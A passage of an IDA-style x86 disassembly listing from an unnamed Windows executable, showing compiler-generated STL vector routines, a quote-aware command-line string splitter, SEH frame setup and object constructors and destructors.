mov [esp+0Ch+var_4], 0
call sub_4013E3
mov ecx, [esp+0Ch+arg_4]
mov edi, [esp+0Ch+arg_0]
sub eax, ecx
push eax
push ecx
push edi
mov ecx, esi
call sub_4012B2
mov eax, edi
pop edi
pop esi
pop ecx
retn 8
sub_40A4A0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40A4E0: ; CODE XREF: ___:0040194Cj
push ecx
push esi
mov esi, [esp+0Ch]
push 1
mov ecx, esi
mov dword ptr [esp+8], 0
call sub_402112
mov eax, esi
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A510 proc near ; CODE XREF: sub_4011EAj
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0FFFFFFFFh
push offset SEH_40A510
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
mov edi, [esp+44h+arg_8]
mov esi, ecx
test edi, edi
mov [esp+44h+var_38], 0
jnz short loc_40A551
mov esi, [esp+44h+arg_0]
push offset byte_448F30
mov ecx, esi
call sub_401870
jmp loc_40A684
; ---------------------------------------------------------------------------
loc_40A551: ; CODE XREF: sub_40A510+2Aj
lea eax, [esp+44h+arg_8]
lea ecx, [esp+44h+var_34]
push eax
call sub_40169A
mov ecx, [esi+9]
mov [esp+44h+var_4], 1
push ecx
lea ecx, [esp+48h+var_24]
call sub_401870
lea ecx, [esp+44h+var_24]
mov byte ptr [esp+44h+var_4], 2
call sub_4014DD
mov [esp+44h+var_3C], eax
mov cl, [eax]
test cl, cl
jz loc_40A635
push ebx
loc_40A591: ; CODE XREF: sub_40A510+11Ej
mov dl, [edi]
cmp cl, dl
jnz short loc_40A5A0
loc_40A597: ; CODE XREF: sub_40A510+8Ej
inc eax
mov [esp+48h+var_3C], eax
cmp [eax], dl
jz short loc_40A597
loc_40A5A0: ; CODE XREF: sub_40A510+85j
cmp byte ptr [eax], 22h
setz bl
test bl, bl
jz short loc_40A5AF
inc eax
mov [esp+48h+var_3C], eax
loc_40A5AF: ; CODE XREF: sub_40A510+98j
lea edx, [esp+48h+var_3C]
lea ecx, [esp+48h+var_34]
push edx
call sub_401997
mov eax, [esp+48h+var_3C]
test bl, bl
mov cl, [eax]
jz short loc_40A5FF
test cl, cl
jz short loc_40A5E7
loc_40A5CB: ; CODE XREF: sub_40A510+D5j
cmp cl, 22h
jnz short loc_40A5DC
mov cl, [eax+1]
cmp cl, 20h
jz short loc_40A5E7
test cl, cl
jz short loc_40A5E7
loc_40A5DC: ; CODE XREF: sub_40A510+BEj
inc eax
mov [esp+48h+var_3C], eax
mov cl, [eax]
test cl, cl
jnz short loc_40A5CB
loc_40A5E7: ; CODE XREF: sub_40A510+B9j
; sub_40A510+C6j ...
cmp byte ptr [eax], 0
jz short loc_40A62A
mov byte ptr [eax], 0
mov eax, [esp+48h+var_3C]
mov cl, [eax+1]
test cl, cl
jz short loc_40A62A
add eax, 2
jmp short loc_40A626
; ---------------------------------------------------------------------------
loc_40A5FF: ; CODE XREF: sub_40A510+B5j
test cl, cl
jz short loc_40A614
mov dl, [edi]
loc_40A605: ; CODE XREF: sub_40A510+102j
cmp cl, dl
jz short loc_40A614
inc eax
mov [esp+48h+var_3C], eax
mov cl, [eax]
test cl, cl
jnz short loc_40A605
loc_40A614: ; CODE XREF: sub_40A510+F1j
; sub_40A510+F7j
mov cl, [eax]
test cl, cl
jz short loc_40A62A
cmp cl, [edi]
jnz short loc_40A62A
mov byte ptr [eax], 0
mov eax, [esp+48h+var_3C]
inc eax
loc_40A626: ; CODE XREF: sub_40A510+EDj
mov [esp+48h+var_3C], eax
loc_40A62A: ; CODE XREF: sub_40A510+DAj
; sub_40A510+E8j ...
mov cl, [eax]
test cl, cl
jnz loc_40A591
pop ebx
loc_40A635: ; CODE XREF: sub_40A510+7Aj
lea ecx, [esp+44h+var_34]
call sub_4011F9
mov ecx, [esp+44h+arg_4]
cmp ecx, eax
jb short loc_40A64D
push offset byte_448F30
jmp short loc_40A65A
; ---------------------------------------------------------------------------
loc_40A64D: ; CODE XREF: sub_40A510+134j
push ecx
lea ecx, [esp+48h+var_34]
call sub_401F82
mov eax, [eax]
push eax
loc_40A65A: ; CODE XREF: sub_40A510+13Bj
mov esi, [esp+48h+arg_0]
mov ecx, esi
call sub_401870
lea ecx, [esp+44h+var_24]
mov [esp+44h+var_38], 1
call sub_401226
lea ecx, [esp+44h+var_34]
mov byte ptr [esp+44h+var_4], 0
call sub_401596
; ---------------------------------------------------------------------------
loc_40A684: ; CODE XREF: sub_40A510+3Cj
mov ecx, [esp+44h+var_C]
mov eax, esi
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn 10h
sub_40A510 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A710 proc near ; CODE XREF: sub_4016B8j
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ecx
mov eax, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
push 0
push eax
push edx
push esi
mov [esp+18h+var_4], 0
call sub_4011EA
mov eax, esi
pop esi
pop ecx
retn 0Ch
sub_40A710 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A750 proc near ; CODE XREF: sub_40202Cj
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_4015E1
pop esi
retn 4
sub_40A750 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A780 proc near ; CODE XREF: sub_401A9Bj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4015E1
retn 4
sub_40A780 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A7A0 proc near ; CODE XREF: sub_401479j
arg_0 = dword ptr 4
mov eax, [ecx+9]
mov ecx, [esp+arg_0]
add eax, ecx
retn 4
sub_40A7A0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40A7C0: ; CODE XREF: ___:004014A6j
mov eax, [ecx+9]
mov ecx, [esp+4]
add eax, ecx
retn 4
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A7E0 proc near ; CODE XREF: sub_401389j
mov eax, [ecx+9]
retn
sub_40A7E0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A800 proc near ; CODE XREF: sub_4017EEj
mov eax, [ecx+9]
retn
sub_40A800 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A820 proc near ; CODE XREF: sub_4014DDj
mov eax, [ecx+9]
retn
sub_40A820 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A840 proc near ; CODE XREF: sub_40169Aj
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov dl, [ecx]
xor ecx, ecx
mov [eax], dl
mov [eax+4], ecx
mov [eax+8], ecx
mov [eax+0Ch], ecx
retn 4
sub_40A840 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40A870 proc near ; CODE XREF: sub_401596j
push esi
mov esi, ecx
mov eax, [esi+8]
mov ecx, [esi+4]
push eax
push ecx
mov ecx, esi
call sub_4019B5
mov eax, [esi+4]
mov edx, [esi+0Ch]
sub edx, eax
mov ecx, esi
sar edx, 2
push edx
push eax
call sub_4011EF
sub_40A870 endp
; ---------------------------------------------------------------------------
xor eax, eax
loc_40A898: ; DATA XREF: ___:00446534o
; ___:00446578o ...
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A8C0 proc near ; CODE XREF: sub_4011F9j
mov edx, [ecx+4]
test edx, edx
jnz short loc_40A8CA
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_40A8CA: ; CODE XREF: sub_40A8C0+5j
mov eax, [ecx+8]
sub eax, edx
sar eax, 2
retn
sub_40A8C0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A8F0 proc near ; CODE XREF: sub_401F82j
arg_0 = dword ptr 4
push esi
push edi
mov esi, ecx
call sub_4011F9
mov edi, [esp+8+arg_0]
cmp eax, edi
ja short loc_40A908
mov ecx, esi
call sub_401F05
loc_40A908: ; CODE XREF: sub_40A8F0+Fj
mov ecx, esi
call sub_401D2F
lea eax, [eax+edi*4]
pop edi
pop esi
retn 4
sub_40A8F0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A930 proc near ; CODE XREF: sub_401997j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_401659
push eax
mov ecx, esi
call sub_4016F9
pop esi
retn 4
sub_40A930 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A960 proc near ; CODE XREF: sub_401D2Fj
mov eax, [ecx+4]
retn
sub_40A960 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A980 proc near ; CODE XREF: sub_401659j
mov eax, [ecx+8]
retn
sub_40A980 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A9A0 proc near ; CODE XREF: sub_4016F9j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, ecx
call sub_401D2F
mov edx, [esp+8+arg_4]
mov ecx, eax
mov eax, [esp+8+arg_0]
push edx
mov esi, eax
push 1
sub esi, ecx
push eax
mov ecx, edi
sar esi, 2
call sub_4013D9
mov ecx, edi
call sub_401D2F
lea eax, [eax+esi*4]
pop edi
pop esi
retn 8
sub_40A9A0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A9F0 proc near ; CODE XREF: sub_4019B5j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
push edi
cmp esi, ebx
mov edi, ecx
jz short loc_40AA10
loc_40AA01: ; CODE XREF: sub_40A9F0+1Ej
push esi
mov ecx, edi
call sub_4018C0
add esi, 4
cmp esi, ebx
jnz short loc_40AA01
loc_40AA10: ; CODE XREF: sub_40A9F0+Fj
pop edi
pop esi
pop ebx
retn 8
sub_40A9F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40AA30: ; CODE XREF: sub_401F05j
push 0FFFFFFFFh
push offset loc_439DB9
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
lea eax, [esp+3]
lea ecx, [esp+4]
push eax
push offset aInvalidVectorT ; "invalid vector<T> subscript"
call near ptr 76081F67h
nop
lea ecx, [esp+4]
mov dword ptr [esp+38h], 0
push ecx
lea ecx, [esp+18h]
nop
call near ptr 760A0430h
lea edx, [esp+14h]
push offset dword_440088
push edx
call sub_437B22
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40AAB0 proc near ; CODE XREF: sub_4011EFj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_437AD2
sub_40AAB0 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AAD0 proc near ; CODE XREF: sub_4013D9j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov edi, [esp+10h+arg_4]
mov eax, [esi+8]
mov ecx, [esi+0Ch]
sub ecx, eax
sar ecx, 2
cmp ecx, edi
jnb loc_40AB9B
mov ecx, esi
call sub_4011F9
cmp edi, eax
jnb short loc_40AB03
mov ecx, esi
call sub_4011F9
mov ebp, eax
jmp short loc_40AB05
; ---------------------------------------------------------------------------
loc_40AB03: ; CODE XREF: sub_40AAD0+26j
mov ebp, edi
loc_40AB05: ; CODE XREF: sub_40AAD0+31j
mov ecx, esi
call sub_4011F9
mov ebx, eax
push 0
add ebx, ebp
mov ecx, esi
push ebx
call sub_401DE8
; ---------------------------------------------------------------------------
mov edx, [esp+10h+arg_0]
mov ebp, eax
mov eax, [esi+4]
push ebp
push edx
push eax
mov ecx, esi
call sub_4010CD
mov ecx, [esp+10h+arg_8]
mov [esp+10h+arg_4], eax
push ecx
push edi
push eax
mov ecx, esi
call sub_402194
mov edx, [esp+10h+arg_4]
mov ecx, [esi+8]
lea eax, [edx+edi*4]
mov edx, [esp+10h+arg_0]
push eax
push ecx
push edx
mov ecx, esi
call sub_4010CD
mov eax, [esi+8]
mov ecx, [esi+4]
push eax
push ecx
mov ecx, esi
call sub_4019B5
mov eax, [esi+4]
mov edx, [esi+0Ch]
sub edx, eax
mov ecx, esi
sar edx, 2
push edx
push eax
call sub_4011EF
; ---------------------------------------------------------------------------
lea eax, [ebp+ebx*4+0]
mov ecx, esi
mov [esi+0Ch], eax
call sub_4011F9
add eax, edi
mov [esi+4], ebp
pop edi
lea ecx, [ebp+eax*4+0]
mov [esi+8], ecx
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_40AB9B: ; CODE XREF: sub_40AAD0+17j
mov ebx, [esp+10h+arg_0]
mov edx, eax
sub edx, ebx
sar edx, 2
cmp edx, edi
jnb short loc_40ABF9
lea ebp, ds:0[edi*4]
lea ecx, [ebx+ebp]
push ecx
push eax
push ebx
mov ecx, esi
call sub_4010CD
mov eax, [esi+8]
mov edx, [esp+10h+arg_8]
mov ecx, eax
push edx
sub ecx, ebx
sar ecx, 2
sub edi, ecx
mov ecx, esi
push edi
push eax
call sub_402194
mov edx, [esp+10h+arg_8]
mov eax, [esi+8]
push edx
push eax
push ebx
call sub_401E8D
mov eax, [esi+8]
add esp, 0Ch
add eax, ebp
mov [esi+8], eax
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_40ABF9: ; CODE XREF: sub_40AAD0+D8j
test edi, edi
jbe short loc_40AC33
shl edi, 2
push eax
push eax
sub eax, edi
mov ecx, esi
push eax
call sub_4010CD
mov eax, [esi+8]
push eax
sub eax, edi
push eax
push ebx
call sub_4020CC
mov ecx, [esp+1Ch+arg_8]
lea edx, [edi+ebx]
push ecx
push edx
push ebx
call sub_401E8D
mov eax, [esi+8]
add esp, 18h
add eax, edi
mov [esi+8], eax
loc_40AC33: ; CODE XREF: sub_40AAD0+12Bj
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
sub_40AAD0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ACA0 proc near ; CODE XREF: sub_4018C0j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_1
pop ecx
retn 4
sub_40ACA0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ACC0 proc near ; CODE XREF: sub_4010CDj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
mov esi, [esp+0Ch+arg_0]
mov ebx, ecx
cmp esi, ebp
jz short loc_40ACF2
push edi
mov edi, [esp+10h+arg_8]
loc_40ACD6: ; CODE XREF: sub_40ACC0+27j
push esi
push edi
mov ecx, ebx
call sub_40213F
add esi, 4
add edi, 4
cmp esi, ebp
jnz short loc_40ACD6
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_40ACF2: ; CODE XREF: sub_40ACC0+Fj
mov eax, [esp+0Ch+arg_8]
pop esi
pop ebp
pop ebx
retn 0Ch
sub_40ACC0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AD10 proc near ; CODE XREF: sub_402194j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebp
push edi
mov edi, [esp+8+arg_4]
mov ebp, ecx
test edi, edi
jbe short loc_40AD37
push ebx
mov ebx, [esp+0Ch+arg_8]
push esi
mov esi, [esp+10h+arg_0]
loc_40AD26: ; CODE XREF: sub_40AD10+23j
push ebx
push esi
mov ecx, ebp
call sub_40213F
add esi, 4
dec edi
jnz short loc_40AD26
pop esi
pop ebx
loc_40AD37: ; CODE XREF: sub_40AD10+Aj
pop edi
pop ebp
retn 0Ch
sub_40AD10 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40AD50 proc near ; CODE XREF: sub_401DE8j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_4014D8
sub_40AD50 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 8
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AD80 proc near ; CODE XREF: sub_40213Fj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_401E01
add esp, 8
retn 8
sub_40AD80 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ADB0 proc near ; CODE XREF: sub_401E8Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp eax, ecx
jz short locret_40ADCD
mov edx, [esp+arg_8]
push esi
loc_40ADC1: ; CODE XREF: sub_40ADB0+1Aj
mov esi, [edx]
mov [eax], esi
add eax, 4
cmp eax, ecx
jnz short loc_40ADC1
pop esi
locret_40ADCD: ; CODE XREF: sub_40ADB0+Aj
retn
sub_40ADB0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ADE0 proc near ; CODE XREF: sub_4020CCj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp edx, ecx
jz short loc_40AE02
mov eax, [esp+arg_8]
push esi
loc_40ADF1: ; CODE XREF: sub_40ADE0+1Ej
mov esi, [ecx-4]
sub ecx, 4
sub eax, 4
cmp ecx, edx
mov [eax], esi
jnz short loc_40ADF1
pop esi
retn
; ---------------------------------------------------------------------------
loc_40AE02: ; CODE XREF: sub_40ADE0+Aj
mov eax, [esp+arg_8]
retn
sub_40ADE0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40AE40 proc near ; CODE XREF: sub_4014D8j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jge short loc_40AE4A
xor eax, eax
loc_40AE4A: ; CODE XREF: sub_40AE40+6j
shl eax, 2
push eax
call sub_437AEA
sub_40AE40 endp
; ---------------------------------------------------------------------------
add esp, 4
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AE70 proc near ; CODE XREF: sub_401E01j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_40AE8B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_40AE8B: ; CODE XREF: sub_40AE70+11j
retn
sub_40AE70 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AEA0 proc near ; CODE XREF: sub_401E88j
mov eax, ecx
mov dword ptr [eax], offset off_43F014
retn
sub_40AEA0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40AEC0: ; CODE XREF: ___:00401721j
; ___:loc_402045j
push esi
mov esi, ecx
call sub_40204F
test byte ptr [esp+8], 1
jz short loc_40AED8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_40AED8: ; CODE XREF: ___:0040AECDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AEF0 proc near ; CODE XREF: sub_40204Fj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_40AEF0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ebx
push esi
push edi
mov dword ptr [ecx], offset off_43F014
mov [ebp+var_10], esp
mov [ebp+var_4], 0
call sub_40174E
loc_40AF21: ; DATA XREF: sub_40AF32o
mov ecx, [ebp+var_C]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn
sub_40AEF0 endp
; =============== S U B R O U T I N E =======================================
sub_40AF32 proc near ; DATA XREF: ___:004401C4o
mov eax, offset loc_40AF21
retn
sub_40AF32 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AF60 proc near ; CODE XREF: sub_4014C4j
call sub_401712
jmp sub_4017BC
sub_40AF60 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AF80 proc near ; CODE XREF: sub_401B2Cj
call sub_401627
jmp sub_4017CB
sub_40AF80 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AFA0 proc near ; CODE XREF: sub_4013DEj
push esi
mov esi, ecx
push esi
push offset sub_401429
lea eax, [esi+0Ch]
push 0
push eax
call sub_40123A
add esp, 10h
test eax, eax
jnz short loc_40AFC2
mov al, 1
mov [esi+10h], al
pop esi
retn
; ---------------------------------------------------------------------------
loc_40AFC2: ; CODE XREF: sub_40AFA0+19j
mov byte ptr [esi+10h], 0
xor al, al
pop esi
retn
sub_40AFA0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40AFE0: ; CODE XREF: ___:004011C2j
push ecx
push esi
mov esi, ecx
mov al, [esi+10h]
test al, al
jz short loc_40B007
mov ecx, [esi+0Ch]
lea eax, [esp+4]
push eax
push ecx
call sub_401767
mov eax, [esp+0Ch]
add esp, 8
mov byte ptr [esi+10h], 0
pop esi
pop ecx
retn
; ---------------------------------------------------------------------------
loc_40B007: ; CODE XREF: ___:0040AFE9j
xor eax, eax
pop esi
pop ecx
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B020 proc near ; CODE XREF: sub_40174Ej
push esi
mov esi, ecx
mov al, [esi+10h]
test al, al
jz short loc_40B03C
mov eax, [esi+0Ch]
push 0Fh
push eax
call sub_401762
add esp, 8
mov byte ptr [esi+10h], 0
loc_40B03C: ; CODE XREF: sub_40B020+8j
pop esi
retn
sub_40B020 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B050: ; CODE XREF: ___:004011F4j
mov eax, [ecx+0Ch]
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B070 proc near ; CODE XREF: sub_401429j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_40B070
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov ecx, [ebp+arg_0]
push ebx
push esi
push edi
mov eax, [ecx]
mov [ebp+var_10], esp
mov [ebp+var_4], 0
call dword ptr [eax+4]
loc_40B09E: ; DATA XREF: sub_40B0B1o
mov ecx, [ebp+var_C]
pop edi
pop esi
xor eax, eax
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn
sub_40B070 endp
; =============== S U B R O U T I N E =======================================
sub_40B0B1 proc near ; DATA XREF: ___:00440224o
mov eax, offset loc_40B09E
retn
sub_40B0B1 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B0E0 proc near ; CODE XREF: sub_401028j
var_8 = dword ptr -8
var_4 = byte ptr -4
sub esp, 8
push esi
mov esi, ecx
mov al, [esi+10h]
test al, al
jz short loc_40B122
mov edx, [esi+0Ch]
lea eax, [esp+0Ch+var_8]
lea ecx, [esp+0Ch+var_4]
push eax
push ecx
push edx
call sub_4021B2
mov edx, [esi+0Ch]
mov eax, [esp+18h+var_8]
lea ecx, [esp+18h+var_8]
mov [esi+8], eax
push ecx
push 1
push edx
mov [esp+24h+var_8], 0
call sub_401050
add esp, 18h
loc_40B122: ; CODE XREF: sub_40B0E0+Bj
pop esi
add esp, 8
retn
sub_40B0E0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B150 proc near ; CODE XREF: sub_401DE3j
var_4 = dword ptr -4
push ecx
mov al, [ecx+10h]
test al, al
jz short loc_40B172
mov eax, [ecx+8]
lea edx, [esp+4+var_4]
mov [esp+4+var_4], eax
mov eax, [ecx+0Ch]
push edx
push 1
push eax
call sub_401050
add esp, 0Ch
loc_40B172: ; CODE XREF: sub_40B150+6j
pop ecx
retn
sub_40B150 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40B190 proc near ; CODE XREF: sub_401A00j
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40B190
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
push edi
mov [esp+1Ch+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
lea ecx, [esi+32h]
mov [esp+1Ch+var_4], 0
call sub_401753
lea ecx, [esi+60h]
mov byte ptr [esp+1Ch+var_4], 1
call sub_401753
lea edi, [esi+8Eh]
lea eax, [esp+1Ch+var_11]
push eax
mov ecx, edi
mov byte ptr [esp+20h+var_4], 2
call sub_401C08
sub_40B190 endp
; ---------------------------------------------------------------------------
mov ecx, edi
mov byte ptr [esp+18h], 3
mov dword ptr [esi], offset off_43F020
call sub_401C03
mov ecx, [esp+10h]
mov eax, esi
pop edi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40B250 proc near ; CODE XREF: sub_401AFAj
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40B250
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
push edi
mov [esp+18h+var_10], esi
mov dword ptr [esi], offset off_43F020
lea edi, [esi+8Eh]
mov [esp+18h+var_4], 3
mov ecx, edi
call sub_401C03
mov ecx, edi
mov byte ptr [esp+18h+var_4], 2
call sub_40155F
sub_40B250 endp
; ---------------------------------------------------------------------------
lea ecx, [esi+60h]
mov byte ptr [esp+14h], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h], 0
call sub_401023
lea ecx, [esi+4]
mov dword ptr [esp+14h], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+0Ch]
pop edi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
